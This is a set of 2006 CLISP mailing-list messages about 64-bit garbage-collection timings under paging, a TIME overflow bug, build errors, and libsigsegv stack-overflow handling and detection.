 > (ARRAY-DIMENSION-LIMIT-IMPLICATIONS) for details; suffice to say,
 > array-total-size-limit et al must be fixnums.
Yes, I noticed that.  Seems unreasonable to me.
(My ideas of what lisp is or should be actually predate common lisp.)
But I notice that fixnums on AMD 64 are 48 bits, which conveniently
is also the max size VM the machine supports.


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Date: Tue Feb 28 06:05:08 2006
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Don Cohen wrote:

>The result below shows one minor bug in TIME.
src/time.d:821 has
    var uintL used = used_space(); /* momentan belegter Platz */
Could you please change the declaration to uintM instead
and report results?  Then, I'll patch CVS.

Someday, I (or anybody else) should go again through all the warnings the compilers emit and review and remove them.  Here, I'd have expected a warning from gcc (on your 64bit box) about loosing bits.
Actually, eveybody is welcome to eliminate compiler warnings and submit patches.

Warnings have been reviewed in clisp a couple of times in the past. But then they start accumulating once again.

I have yet to understand all your numbers and what you derive from them.
BTW, did you try building a no-unicode CLISP?  It would have different string behaviour.

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I'm trying to build CVS HEAD on NetBSD/sparc64 3.0, with the command
line:

./configure --with-libiconv-prefix=/usr/pkg --with-libsigsegv-prefix=/usr/local --with-debug --build build-basil

The build fails with this error (likewise with clisp 2.38):

gcc -I/usr/pkg/include -I/usr/local/include -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -falign-functions=4 -g -DDEBUG_OS_ERROR -DDEBUG_SPVW -DDEBUG_BYTECODE -DSAFETY=3 -DUNICODE -DNO_GETTEXT -I. -c lisparit.c
In file included from lisparit.d:8:
lispbibl.d:8962: warning: volatile register variables don't work as you might wish
In file included from lisparit.d:36:
intdiv.d: In function `I_I_divide_I_I':
intdiv.d:312: error: void value not ignored as it ought to be
intdiv.d:312: error: void value not ignored as it ought to be
In file included from lisparit.d:39:
intsqrt.d: In function `UDS_sqrt_':
intsqrt.d:235: warning: statement with no effect
intsqrt.d:292: warning: statement with no effect
*** Error code 1

Stop.


Magnus




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Doug,

you wrote half a year ago:
>Sent: Samstag, 26. Marz 2005 00:31
>Subject: Re: [clisp-list] crash on cl-bench's (ackermann 3 11) with
>libsigsegv 2.2

>I seem to have found two more bugs in libsigsegv 2.2 handler-win32.c,
>and their repair restores CLISP to correct stack overflow handling.
[MS-WinXP specific behaviour and patches omited]

I find it amazing how you managed to find this out.
Could you give me some advice on how to track down another possibly similar bug in CLISP?

There's a long standing bug somewhere in clisp or libsigsegv that manifests when GENERATIONAL_GC is active.  I'd like to track it down. It raises SIGSEGV in Linux.
CLISP built with MS-VC6 does not crash (on my MS-w2k machine).  The MS-Windows MS-VC version is thus currently more lenient (esp. towards beginners causing infinite recursion errors).
I'm using libsigsegv from CVS (thus it contains your patches, but IIRC even the original libsigsegv-2.2 works on MS-w2k).

Try out
](defun f () (f))
 F
](f) ; in the interpreter
This causes a sigsegv on Linux.
With MS-VC6, it just says (clisp-2.38/CVS):
[16]> (f)
*** - Program stack overflow. RESET
[17]> 

Related bug reports are:
http://sourceforge.net/tracker/index.php?func=detail&aid=1180386&group_id=1355&atid=101355
http://sourceforge.net/tracker/index.php?func=detail&aid=1411868&group_id=1355&atid=101355

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	Jorg Hohle.


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Magnus Henoch writes:
>I'm trying to build CVS HEAD on NetBSD/sparc64 3.0, with the command
>line:
>gcc [...]-g -DDEBUG_OS_ERROR -DDEBUG_SPVW -DDEBUG_BYTECODE -DSAFETY=3 
>-DUNICODE -DNO_GETTEXT -I. -c lisparit.c

Why are you starting with a debug build?  Because you encountered other problems?
What version of gcc is this?

>In file included from lisparit.d:8:
>lispbibl.d:8962: warning: volatile register variables don't 
>work as you might wish
>In file included from lisparit.d:36:
>intdiv.d: In function `I_I_divide_I_I':
>intdiv.d:312: error: void value not ignored as it ought to be
>intdiv.d:312: error: void value not ignored as it ought to be

Please try out this change in src/arilev0.d:1175:
replace divu_6432_3232(...,q=,);}\
with
                       ...,q=,_EMA_);}\
and reports results.  I'm not sure this is it because you use gcc and I would not have expected gcc's cccp to cause trouble here.

Otherwise please do
make lisparit.i
and try to investigate the section around
# 285 "intdiv.d"
  static void I_I_divide_I_I (object x, object y)
...
or post the snippet here (or send me whole file, privately).

I've tried to come as close as I can to your setup, but this just means "-DWIDE_SOFT_LARGEFIXNUM" on an Intel 32bit Linux box.  No error there.

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Wednesday, March 1, 2006, 10:09:42 AM, Jorg wrote:

> you wrote half a year ago:
>>Sent: Samstag, 26. Marz 2005 00:31
>>Subject: Re: [clisp-list] crash on cl-bench's (ackermann 3 11) with
>>libsigsegv 2.2

>>I seem to have found two more bugs in libsigsegv 2.2 handler-win32.c,
>>and their repair restores CLISP to correct stack overflow handling.
> [MS-WinXP specific behaviour and patches omited]

> I find it amazing how you managed to find this out.
> Could you give me some advice on how to track down another possibly similar bug in CLISP?

Oh, painful memories!

I wish I could help you; my adventure tracking this down involved many
rebuilds of CLISP with printf()s at strategic points. gdb was partly
helpful, but generally lost once the error occurred.

The final breakthroughs came with a detailed code walk though, i.e.,
executing the relevant code in my head.

> There's a long standing bug somewhere in clisp or libsigsegv that
> manifests when GENERATIONAL_GC is active.  I'd like to track it
> down. It raises SIGSEGV in Linux.
> CLISP built with MS-VC6 does not crash (on my MS-w2k machine). 
> The MS-Windows MS-VC version is thus currently more lenient (esp.
> towards beginners causing infinite recursion errors).
> I'm using libsigsegv from CVS (thus it contains your patches, but
> IIRC even the original libsigsegv-2.2 works on MS-w2k).

The patches in the CVS are not *identical* to mine, but very close. I
am continuing to use my patched libsigsegv-2.2, not the CVS version.
This is not because I have any issue with the CVS changes, but only
because I had it working, so I stopped focusing on libsigsegv.

Here is my configuration:

C:\Dev\clisp\clisp-2.38\build-mingw>clisp --version
GNU CLISP 2.38 (2006-01-24) (built 3348940254) (memory 3348940714)
Software: GNU C 3.4.5 (mingw special)
gcc -mno-cygwin -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno
-sign-compare -O2 -fexpensive-optimizations -D_WIN32 -DUNICODE -DNO_TERMCAP_NCURSES -DDYNAMIC_FFI -DNO_GET
TEXT -I. -x none libcharset.a libavcall.a libcallback.a  -luser32 -lws2_32 -lole32 -loleaut32 -luuid  -L/u
sr/local/lib -lsigsegv
SAFETY=0 HEAPCODES STANDARD_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY
libsigsegv 2.2
Features:
(REGEXP SYSCALLS I18N LOOP COMPILER CLOS MOP CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS
 GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI UNICODE BASE-CHAR=CHARACTER PC386 WIN32)
C Modules: (clisp i18n syscalls regexp)

> Try out
> ](defun f () (f))
>  F
> ](f) ; in the interpreter
> This causes a sigsegv on Linux.
> With MS-VC6, it just says (clisp-2.38/CVS):
> [16]> (f)
> *** - Program stack overflow. RESET
> [17]> 

It is fine for my setup (my initial problem was with *two* stack
overflows, one after the other)...

[1]> (defun f () (f))
F
[2]> (f)

*** - Program stack overflow. RESET
[3]> (f)

*** - Program stack overflow. RESET
[4]> (f)

*** - Program stack overflow. RESET
[5]>

e



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Hi,

Doug, thank you for your report.

Could other mingw and/or cygwin users please report observed stack overflow behaviour?

I'm asking because Sam Steingold's initial bug report
http://sourceforge.net/tracker/index.php?func=detail&aid=1411868&group_id=1355&atid=101355
mentions using mingw, while Doug Currie using mingw does not observe it.
I don't observe a crash with MS-VC6 either.

Dear mingw users, please report your version and results. Please include output from lisp.exe -B . --version or (software-type).

If you're on MS-Windows XP, you'll need the cvs version of libsigsegv (with patches adapted from Doug).  Otherwise you can use the release-2.2 (e.g. it should work on MS-w2k like I have).
E-Mail me and I can send you my MS-VC6 build of libsigsegv.lib + libsigsegv.h from CVS.


>The patches in the CVS are not *identical* to mine, but very close. I
>am continuing to use my patched libsigsegv-2.2, not the CVS version.

>Here is my configuration:
>C:\Dev\clisp\clisp-2.38\build-mingw>clisp --version
>GNU CLISP 2.38 (2006-01-24) (built 3348940254) (memory 3348940714)
>Software: GNU C 3.4.5 (mingw special)
>gcc -mno-cygwin -W -Wswitch -Wcomment -Wpointer-arith 
> -lsigsegv
>SAFETY=0 HEAPCODES STANDARD_HEAPCODES GENERATIONAL_GC 
>SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY
>libsigsegv 2.2

>It is fine for my setup (my initial problem was with *two* stack
>overflows, one after the other)...
IIRC (really?) I observed that on Linux as well (or with one overflow and an explicit call to ext:gc), but with later versions of CLISP, a single stack overflow was enough to get a SIGSEGV.

>[1]> (defun f () (f))
>[2]> (f)
>*** - Program stack overflow. RESET
>[3]> (f)
>*** - Program stack overflow. RESET
>[4]> (f)
>*** - Program stack overflow. RESET
>[5]>
Works great as well here on MS-w2k with my MS-VC6.
Or when disabling generational GC on Linux (ouch!).

Regards,
	Jorg hohle.


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 > >The result below shows one minor bug in TIME.
 > src/time.d:821 has
 >     var uintL used = used_space(); /* momentan belegter Platz */
 > Could you please change the declaration to uintM instead
 > and report results?  Then, I'll patch CVS.
probably not the result you wanted - 
first execution of lisp ends in
...
;; Loading file international.fas ... 
;; Loaded file international.fas 
*** - incorrect date: 2006-2-27 18:11:21, time zone T 
Bye. 

 > I have yet to understand all your numbers and what you derive from
 > them.  BTW, did you try building a no-unicode CLISP?  It would have
 > different string behaviour.
I don't understand why this should be the case.
Unicode strings are GC's as if they might contain pointers?
Perhaps instead I should make-array :element-type '(unsigned-byte 8) ?


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I must have confused things by trying to do both TIME and
--without-unicode at the same time.  Then there's the cache
file.  I now avoid that by using a new build directory and
things seem to work.  

 > >The result below shows one minor bug in TIME.
 > src/time.d:821 has
 >     var uintL used = used_space(); /* momentan belegter Platz */
 > Could you please change the declaration to uintM instead
 > and report results?  Then, I'll patch CVS.
after the change above I do
 ./configure --with-module=rawsock --build build-time 
(takes 15 min)
this time I use
 (push (make-array 64000000 :element-type '(unsigned-byte 8)) a)
which I assume is unaffected by unicode.
After 18 min I pass the 4GB mark.

Next I'll try no unicode.



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 > >The result below shows one minor bug in TIME.
 > src/time.d:821 has
 >     var uintL used = used_space(); /* momentan belegter Platz */
 > Could you please change the declaration to uintM instead
 > and report results?
Previously I reported success with the change above to fix the TIME
bug.  Now I try:

 ./configure --without-unicode --with-module=rawsock --build build-time-bouni 

and 3:50 later get
 ...
 gmake[1]: Entering directory `/root/clisp/build-time-bouni/rawsock' 
 /root/clisp/build-time-bouni/lisp.run -M
 /root/clisp/build-time-bouni/lispinit.mem -B /root/clisp/build-time-bouni -N
 /root/clisp/build-time-bouni/locale -norc -q -c sock.lisp 
 ;; Compiling file /root/clisp/build-time-bouni/rawsock/sock.lisp ... 
 *** - READ from 
	#<INPUT BUFFERED FILE-STREAM CHARACTER 
	  #P"/root/clisp/build-time-bouni/rawsock/sock.lisp" @70> 
       : #<PACKAGE EXT> has no external symbol with name
 "*PATHNAME-ENCODING*" 

 0 errors, 0 warnings 
 gmake[1]: *** [sock.fas] Error 1 
 gmake[1]: Leaving directory `/root/clisp/build-time-bouni/rawsock' 
 make: *** [rawsock] Error 2 

I guess that's something in rawsock/sock.lisp that should be #+unicode.
Or perhaps ext:*PATHNAME-ENCODING* should be defined even without
unicode. 

I now undo the time patch and remove --with-module=rawsock

That ends in the testing phase:
(PROGN (DEF-CALL-OUT C-SELF (:NAME "ffi_identity") (:ARGUMENTS (FIRST
CHARACTER)) (:RETURN-TYPE UINT8) (:LANGUAGE :STDC)) (C-SELF #\a)) 
EQL-OK: 97 
*** - READ from #<INPUT BUFFERED FILE-STREAM CHARACTER #P"ffi.tst" @515>: 
      there is no character with name ...
The character appears as a 0 overstruck with /.
So ffi.tst evidently also needs some #+unicode.

There might be more errors like that in later tests that I didn't try,
but now I at least have an image on which to try my allocation test.
Below is a summary of GC times (leaving out the first few that
probably don't require swap) for three different cases:
 no-uni string - allocate strings with no unicode
 unsigned-byte 8 - allocate unsigned-byte 8
 unicode string - allocate strings with unicode
In all cases the allocations are in increments of 64e6.
The GCs all happen at the same places, indicated by the mem/1e6 which
shows the result of (room) without the last 6 digits, and I think
you'll agree that the times (the run times even more than the real
times) suggest that they're all doing the same thing and that my
observation of periodic high values is at least consistent, whether
or not I've guessed the right explanation.

          no-uni string            unsigned-byte 8        unicode string 
mem/1e6   real       run          real       run          real       run 
 323     .006022     .008001      0.023212   0.004        0.005846   0.004 
 387     7.7997      .296018      3.94004    0.372024     6.633268   0.264016 
 451    16.095       .696044     17.114365   0.664041    18.841158   0.740047 
 515      .066713    .0           0.022602   0.012        0.126884   0.008001 
 579     5.079163    .228014      5.04138    0.292019     5.773475   0.268016 
 643    15.441946    .740046     15.692896   0.64804     22.985209   0.63204 
 771    12.199034    .672042      5.025343   0.31202      3.833959   0.344021 
 899     7.454856    .508031      8.497832   0.460029     8.203136   0.588037 
1027    39.15916    1.312082     28.47756    1.480092    18.389574   1.024065 
1283    13.952275    .936059     17.760742   0.956059    15.947491   0.968061 
1539    26.215145   1.384087     13.447388   1.280081    15.635337   1.276079 
1795   179.30795    3.924245    256.31583    3.856241   178.18216    3.988249  
2243    71.68238    1.848115     58.395687   1.660104    48.662895   1.76011 
2691    29.071373   2.828177     28.100023   2.612164    27.402533   2.656167 
3139   625.094      8.104507    564.1191     7.988499   586.89154    7.660479  
3907    82.473366   4.820301     46.244835   4.608288    44.82365    4.368273 

Again, my real question is why it should take any significant time to
GC in the case where almost all of the memory is known to contain no
pointers.  Perhaps it's time to start reading the GC code.


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Date: Mon, 27 Feb 2006 13:18:20 -0800
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Subject: [clisp-list] experiments with 64 bit machine - GC and paging


I find myself for the first time in possession of a 64 bit machine
(AMD Athlon eMachines, would you believe) and thought I'd try using
some of the expanded address space.  I've installed Fedora Core 4 with
10G swap space.  (I assume this is really used for "paging" rather
than "swapping")  I have 512M RAM.

The first thing I tried was making large strings.  One of my
complaints with recent clisp versions was that the limit was too
small.  I think it's currently about 2MB whereas it used to be about
8MB (for 32 bit machines).  So I was happy to see that the limit on
the 64 bit machine was much higher - 64M.
(Aside - I prefer to think of lisp as not imposing such artificial
limits.  Wouldn't it be more reasonable to allow any variable size
datum to be as large as the largest chunk of VM the OS is willing to
allocate?)

The result below shows one minor bug in TIME.  Evidently it's not
prepared for numbers of bytes that don't fit in 32 bits.
My focus here is performance issues related to paging and GC.

  [1]> (lisp-implementation-version)
  "2.38 (2006-01-24) (built on hammer1.fedora.redhat.com)"
  [2]> *features*
  (:READLINE :REGEXP :SYSCALLS :I18N :LOOP :COMPILER :CLOS :MOP :CLISP =
:ANSI-CL
   :COMMON-LISP :LISP=3DCL :INTERPRETER :SOCKETS :GENERIC-STREAMS
   :LOGICAL-PATHNAMES :SCREEN :FFI :GETTEXT :UNICODE =
:BASE-CHAR=3DCHARACTER :PC386
   :UNIX)
  [3]> (setf s nil)
  NIL
  [4]> (loop
   (time (length (push (make-string 64000000) s)))
   (room)
   (run-shell-command "cat /proc/meminfo |grep swap")
  )
The cat|grep command above didn't work as intended.
The output I wanted uses upper case for the S in Swap.

  Real time: 0.00558 sec.
  Run time: 0.008001 sec.
  Space: 64001776 Bytes
  GC: 2, GC time: 0.008001 sec.
  Bytes permanently allocated:      159712
  Bytes currently in use:         67109592
  Bytes available until next GC:    772688
  Real time: 1.864564 sec.
  Run time: 0.508031 sec.
  Space: 64001776 Bytes
  GC: 2, GC time: 0.508031 sec.
  Bytes permanently allocated:      159712
  Bytes currently in use:        131099760
  Bytes available until next GC:  16771626
...

I attempt to save space and cognitive effort by replacing the
output as illustrated above with a more concise table below.

 real      run      gc  gc time  MB used   MB left
 .0056     0.008     2   0.008    64        0 =20
 1.865     0.508     2   0.508    125       15=20
 3.227     0.472     2   0.472    186       31=20
 2.029      0.32     2    0.32    247       46=20
 2.095     0.384     1   0.384    308       0 =20
 .0058     0.004     1   0.004    369       0 =20
 10.97     0.552     1   0.552    430       0 =20
 15.84     1.312     1   1.296    491       46=20
 .1198     0.008     1   0.008    552       46=20
 3.088     0.592     1   0.592    613       46=20
 20.88      1.32     1   1.316    674       92=20
 .0001       0.0     0     0.0    735       31=20
 9.566     0.656     1   0.656    796       92=20
 .0001       0.0     0     0.0    857       31=20
 18.17     1.476     1   1.476    918       92=20
 .0001       0.0     0     0.0    979       31=20
 46.52     2.248     1   2.248    1040      183
 .1286       0.0     0     0.0    1101      122
 .0001       0.0     0     0.0    1162      61=20
 .0001       0.0     0     0.0    1223      0 =20
 31.43      1.48     1    1.48    1284      183
 .0001       0.0     0     0.0    1345      122
 .0001       0.0     0     0.0    1406      61=20
 .0001       0.0     0     0.0    1467      0 =20
 27.53     2.716     1   2.712    1528      183
 .0001       0.0     0     0.0    1589      122
 .0001       0.0     0     0.0    1650      61=20
 .0001       0.0     0     0.0    1711      0 =20
 235.3     5.216     1   5.216    1772      366
 .0001       0.0     0     0.0    1834      305
 .0001       0.0     0     0.0    1895      244
 .0001       0.0     0     0.0    1956      183
 .0001       0.0     0     0.0    2017      122
 .0001       0.0     0     0.0    2078      61=20
 .0001       0.0     0     0.0    2139      0 =20
 72.81     2.928     1   2.928    2200      366
 .0001       0.0     0     0.0    2261      305
 .0001       0.0     0     0.0    2322      244
 .0001       0.0     0     0.0    2383      183
 .0001       0.0     0     0.0    2444      122
 .0001       0.0     0     0.0    2505      61=20
 .0001       0.0     0     0.0    2566      0 =20
 32.62     3.524     1   3.524    2627      366
 .0001       0.0     0     0.0    2688      305
 .0001       0.0     0     0.0    2749      244
 .0001       0.0     0     0.0    2810      183
 .0001       0.0     0     0.0    2871      122
 .0001       0.0     0     0.0    2932      61=20
 .0001       0.0     0     0.0    2993      0 =20
 230.5     16.98     1   16.98    3054      687
 .0001       0.0     0     0.0    3115      626
 .0001       0.0     0     0.0    3176      565
 .0001       0.0     0     0.0    3237      504
 .0001       0.0     0     0.0    3298      443
 .0001       0.0     0     0.0    3359      382
 .0001       0.0     0     0.0    3420      321
 .0001       0.0     0     0.0    3482      260
 .0001       0.0     0     0.0    3543      199
 .0001       0.0     0     0.0    3604      137
 .0001       0.0     0     0.0    3665      76=20
 .0001       0.0     0     0.0    3726      15=20
 49.01     7.208     1   7.208    3787      687
 .0207       0.0     0     0.0    3848      626
 .0001       0.0     0     0.0    3909      565
 .0001       0.0     0     0.0    3970      504
 .0001       0.0     0     0.0    4031      443
 .0001       0.0     0     0.0    4092      382

At this point we hit a bug.

  Run time: 0.0 sec.
  Space: 64001776 Bytes
  Bytes permanently allocated:      159712
  Bytes currently in use:        4291152312
  Bytes available until next GC: 400722650

  *** - SYSTEM::DELTA4: negative difference: [255 13651352] > [3 =
10544264]
  The following restarts are available:
  ABORT          :R1      ABORT
  Break 1 [5]> where
  <1> #<SPECIAL-OPERATOR MULTIPLE-VALUE-CALL>
  EVAL frame for form
  (MULTIPLE-VALUE-CALL #'SYSTEM::%TIME (SYSTEM::%%TIME) #:G3622 #:G3623 =
#:G3624
   #:G3625 #:G3626 #:G3627 #:G3628 #:G3629 #:G3630)
  Break 1 [5]> up
  <1> #<SPECIAL-OPERATOR UNWIND-PROTECT>
  EVAL frame for form
  (UNWIND-PROTECT (LENGTH (PUSH (MAKE-STRING 64000000) S))
   (MULTIPLE-VALUE-CALL #'SYSTEM::%TIME (SYSTEM::%%TIME) #:G3622 #:G3623 =
#:G3624
    #:G3625 #:G3626 #:G3627 #:G3628 #:G3629 #:G3630))
  Break 1 [5]> return
  Values: nil

  Bytes permanently allocated:      159712
  Bytes currently in use:        4355591872
...

and now the rest of the data summarized
 real      run      gc  gc time  MB used   MB left
 .0001       0.0     0     0.0    4214      259
 .0001       0.0     0     0.0    4275      198
 .0001       0.0     0     0.0    4336      137
 .0008       0.0     0     0.0    4397      76=20
 .0001       0.0     0     0.0    4459      15=20
  47.6      10.1     1   10.07    4519      687
 .0001       0.0     0     0.0    4580      626
 .0001       0.0     0     0.0    4641      565
 .0001       0.0     0     0.0    4702      504
 .0001       0.0     0     0.0    4763      443
 .0001       0.0     0     0.0    4824      382
 .0001       0.0     0     0.0    4885      321
 .0001       0.0     0     0.0    4946      260
 .0001       0.0     0     0.0    5007      199
 .0001       0.0     0     0.0    5068      137
 .0001       0.0     0     0.0    5130      76=20
 .0001       0.0     0     0.0    5191      15=20
 2139.     83.69     1   83.69    5251      1236
 .1932       0.0     0     0.0    5313      1175
 .0001       0.0     0     0.0    5374      1114
 .0001       0.0     0     0.0    5435      1053
 .0001     0.004     0     0.0    5496      992
 .0001       0.0     0     0.0    5557      931
 .0001       0.0     0     0.0    5618      870
 .0001       0.0     0     0.0    5679      809
 .0001       0.0     0     0.0    5740      748
 .0001       0.0     0     0.0    5801      687
 .0001       0.0     0     0.0    5862      626
 .0001       0.0     0     0.0    5923      565
 .0001       0.0     0     0.0    5984      504
 .0001       0.0     0     0.0    6045      443
 .0001       0.0     0     0.0    6106      382
 .0001       0.0     0     0.0    6167      321
 .0001       0.0     0     0.0    6228      259
 .0001       0.0     0     0.0    6289      198
 .0001       0.0     0     0.0    6350      137
 .0001       0.0     0     0.0    6411      76=20
 .0001       0.0     0     0.0    6472      15=20
 152.1     26.31     1   26.31    6533      1236
 .0338       0.0     0     0.0    6594      1175
 .0001       0.0     0     0.0    6655      1114
 .0001       0.0     0     0.0    6716      1053
 .0001       0.0     0     0.0    6777      992
 .0001       0.0     0     0.0    6838      931
 .0001       0.0     0     0.0    6899      870
 .0001       0.0     0     0.0    6961      809
 .0001       0.0     0     0.0    7022      748
 .0001       0.0     0     0.0    7083      687
 .0001       0.0     0     0.0    7144      626
 .0001       0.0     0     0.0    7205      565
 .0001       0.0     0     0.0    7266      504
 .0001       0.0     0     0.0    7327      443
 .0001       0.0     0     0.0    7388      382
 .0001       0.0     0     0.0    7449      321
 .0001       0.0     0     0.0    7510      259
 .0001       0.0     0     0.0    7571      198
 .0001       0.0     0     0.0    7632      137
 .0001       0.0     0     0.0    7693      76=20
 .0001       0.0     0     0.0    7754      15=20

[Here we run out of space.]

The result is in some respects what I expected.

If there's enough space available then the allocation takes almost no
time.  Otherwise there's a gc and more space is allocated.
Since the non-gc cases are relatively uninteresting, I collect below
the gc cases.

 real      run      gc  gc time  MB used   MB left  notes
 .0056     0.008     2   0.008    64        0       =3D=3D=3D=3D
 1.865     0.508     2   0.508    125       15      2 gc's
 3.227     0.472     2   0.472    186       31=20
 2.029      0.32     2    0.32    247       46      =3D=3D=3D=3D
 2.095     0.384     1   0.384    308       0       VM<RAM
 .0058     0.004     1   0.004    369       0 =20
 10.97     0.552     1   0.552    430       0 =20
 15.84     1.312     1   1.296    491       46      =3D=3D=3D=3D
 .1198     0.008     1   0.008    552       46     real/run
 3.088     0.592     1   0.592    613       46       5
 20.88      1.32     1   1.316    674       92      16
 9.566     0.656     1   0.656    796       92      15
 18.17     1.476     1   1.476    918       92      12
 46.52     2.248     1   2.248    1040      183     21
 31.43      1.48     1    1.48    1284      183     21
 27.53     2.716     1   2.712    1528      183     10
 235.3     5.216     1   5.216    1772      366     45
 72.81     2.928     1   2.928    2200      366     25
 32.62     3.524     1   3.524    2627      366      9
 230.5     16.98     1   16.98    3054      687     14
 49.01     7.208     1   7.208    3787      687      7
  47.6      10.1     1   10.07    4519      687      5
 2139.     83.69     1   83.69    5251      1236    26
 152.1     26.31     1   26.31    6533      1236     6


One interesting point is that the first few allocations cause 2 GC's.
I suppose that the first one allocates less space than is needed and
it takes another to allocate the rest.  It seems that this could be
easily avoided by telling gc how much space you're trying to allocate
and have it allocate enough to satisfy the request.

It seems clear that what is reported as gc time is gc "run" time as
opposed to gc "real" time.  I'm not sure how accurate these run times
are (what exactly they measure) in cases that involve a lot of
paging.  It's possible that some other processes might have been
competing for the disk during some of the GC's but I think this
would have been the exception.

It's not surprising that the times are generally increasing.
It is interesting that they are not monotonic.  Rather they seem
to go in a cycle of a large time followed by a few smaller ones.
I may be hallucinating but I imagine this might be related to
generational gc, with the smaller times looking only at more
recently allocated data, and after a few of those a gc that looks
at more data.=20

Actually I was somewhat surprised that GC took a major amount of
time in this example at all.  The entire run allocated about
100 strings, and I expected gc to have to read only the pages
containing the headers of those objects.  The times above suggest
that instead it is reading in and scanning every page.  Does that
make sense?  What is there to look for in the middle of a string?
I also wonder how many times a given page is read and scanned.
In this case I don't see why it should be more than once.=20
But 2000 sec seems much longer than should be needed to read 5GB.


--__--__--

Message: 2
From: don-sourceforge-xx@isis.cs3-inc.com (Don Cohen)
Date: Mon, 27 Feb 2006 17:57:34 -0800
To: clisp-list@lists.sourceforge.net
Subject: [clisp-list] trouble seeing libsigsegv on AMD Athlon 64 Fedora =
Core 4


I previously wrote:
  I find myself for the first time in possession of a 64 bit machine
 ...
I got clisp in that case by doing
  yum install clisp
which reported
   Installing:
    clisp                   x86_64     2.38-1.fc4       extras     5.2 M
   Installing for dependencies:
    libsigsegv              x86_64     2.2-1.fc4        extras      13 k
    postgresql-libs         x86_64     8.0.7-1.FC4.1    updates-released =
 180 k

I now want to build from cvs in order to try to fix socket-server and
socket-status problems earlier noted.  As you'll see below, it can't
find libsigsegv.  Any advice will be appreciated.

 # cvs -z3 -d:pserver:anonymous@cvs.sourceforge.net:/cvsroot/clisp co =
clisp
 ...
[seems to work]

 # cd clisp
 # time ./configure --with-module=3Drawsock --build build-dir
 ...
 gcc -g -O2 -x none minitests.o -o minitests  ./.libs/libcallback.a
 ./minitests > minitests.out
 LC_ALL=3DC uniq -u < minitests.out > =
minitests.output.x86_64-unknown-linux-gnu
 test '!' -s minitests.output.x86_64-unknown-linux-gnu
 Configure findings:
   FFI:        yes (user requested: default)
   readline:   yes (user requested: default)
   libsigsegv: no, consider installing GNU libsigsegv
 ./configure: libsigsegv was not detected, thus some features, such as
   generational garbage collection and
   stack overflow detection in interpreted Lisp code
 cannot be provided.
 Please do this:
   mkdir tools; cd tools; prefix=3D`pwd`/x86_64-unknown-linux-gnu
   wget http://ftp.gnu.org/pub/gnu/libsigsegv/libsigsegv-2.2.tar.gz
   tar xfz libsigsegv-2.2.tar.gz
   cd libsigsegv-2.2
   ./configure --prefix=3D${prefix} && make && make check && make =
install
   cd ../..
   ./configure --with-libsigsegv-prefix=3D${prefix} =
--with-module=3Drawsock --build build-dir
 If you insist on building without libsigsegv, please pass
   --ignore-absence-of-libsigsegv
 to this script:
   ./configure --ignore-absence-of-libsigsegv --with-module=3Drawsock =
--build build-dir

 real   1m6.525s
 user   0m26.122s
 sys    0m25.046s
 # yum install libsigsegv
 ...
 Nothing to do

Next guess:

 # yum install libsigsegv-devel
 ...
 Installing:
  libsigsegv-devel        x86_64     2.2-1.fc4        extras            =
7.4 k
 ...
 Installed: libsigsegv-devel.x86_64 0:2.2-1.fc4
 Complete!
 # time ./configure --with-module=3Drawsock --build build-dir
 ...

and again

 Configure findings:
   FFI:        yes (user requested: default)
   readline:   yes (user requested: default)
   libsigsegv: no, consider installing GNU libsigsegv
 ./configure: libsigsegv was not detected, thus some features, such as
   generational garbage collection and
   stack overflow detection in interpreted Lisp code
 cannot be provided.
 Please do this:
   mkdir tools; cd tools; prefix=3D`pwd`/x86_64-unknown-linux-gnu
   wget http://ftp.gnu.org/pub/gnu/libsigsegv/libsigsegv-2.2.tar.gz
   tar xfz libsigsegv-2.2.tar.gz
   cd libsigsegv-2.2
   ./configure --prefix=3D${prefix} && make && make check && make =
install
   cd ../..
   ./configure --with-libsigsegv-prefix=3D${prefix} =
--with-module=3Drawsock --build build-dir
 If you insist on building without libsigsegv, please pass
   --ignore-absence-of-libsigsegv
 to this script:
   ./configure --ignore-absence-of-libsigsegv --with-module=3Drawsock =
--build build-dir

 real   0m24.500s
 user   0m7.276s
 sys    0m13.281s

so now I try doing as I've been told:

 # mkdir tools; cd tools; prefix=3D`pwd`/x86_64-unknown-linux-gnu
 #   wget http://ftp.gnu.org/pub/gnu/libsigsegv/libsigsegv-2.2.tar.gz
 ...
 17:08:03 (456.80 KB/s) - `libsigsegv-2.2.tar.gz' saved [361450/361450]

 #   tar xfz libsigsegv-2.2.tar.gz
 # cd libsigsegv-2.2
 #   ./configure --prefix=3D${prefix} && make && make check && make =
install
 ...
 # cd ../..
 #   ./configure --with-libsigsegv-prefix=3D${prefix} =
--with-module=3Drawsock --build build-dir
 executing /root/clisp/build-dir/configure --srcdir=3D../src =
--with-libsigsegv-prefix=3D/root/clisp/tools/x86_64-unknown-linux-gnu =
--with-module=3Drawsock --cache-file=3Dconfig.cache
 ...
 ./minitests > minitests.out
 LC_ALL=3DC uniq -u < minitests.out > =
minitests.output.x86_64-unknown-linux-gnu
 test '!' -s minitests.output.x86_64-unknown-linux-gnu
 Configure findings:
   FFI:        yes (user requested: default)
   readline:   yes (user requested: default)
   libsigsegv: no, consider installing GNU libsigsegv
 ./configure: libsigsegv was not detected, thus some features, such as
   generational garbage collection and
   stack overflow detection in interpreted Lisp code
 cannot be provided.
 Please do this:
   mkdir tools; cd tools; prefix=3D`pwd`/x86_64-unknown-linux-gnu
   wget http://ftp.gnu.org/pub/gnu/libsigsegv/libsigsegv-2.2.tar.gz
   tar xfz libsigsegv-2.2.tar.gz
   cd libsigsegv-2.2
   ./configure --prefix=3D${prefix} && make && make check && make =
install
   cd ../..
   ./configure --with-libsigsegv-prefix=3D${prefix} =
--with-libsigsegv-prefix=3D/root/clisp/tools/x86_64-unknown-linux-gnu =
--with-module=3Drawsock --build build-dir
 If you insist on building without libsigsegv, please pass
   --ignore-absence-of-libsigsegv
 to this script:
   ./configure --ignore-absence-of-libsigsegv =
--with-libsigsegv-prefix=3D/root/clisp/tools/x86_64-unknown-linux-gnu =
--with-module=3Drawsock --build build-dir

 # updatedb
 # locate libsigseg
 /var/cache/yum/extras/headers/libsigsegv-2.2-1.fc4.x86_64.hdr
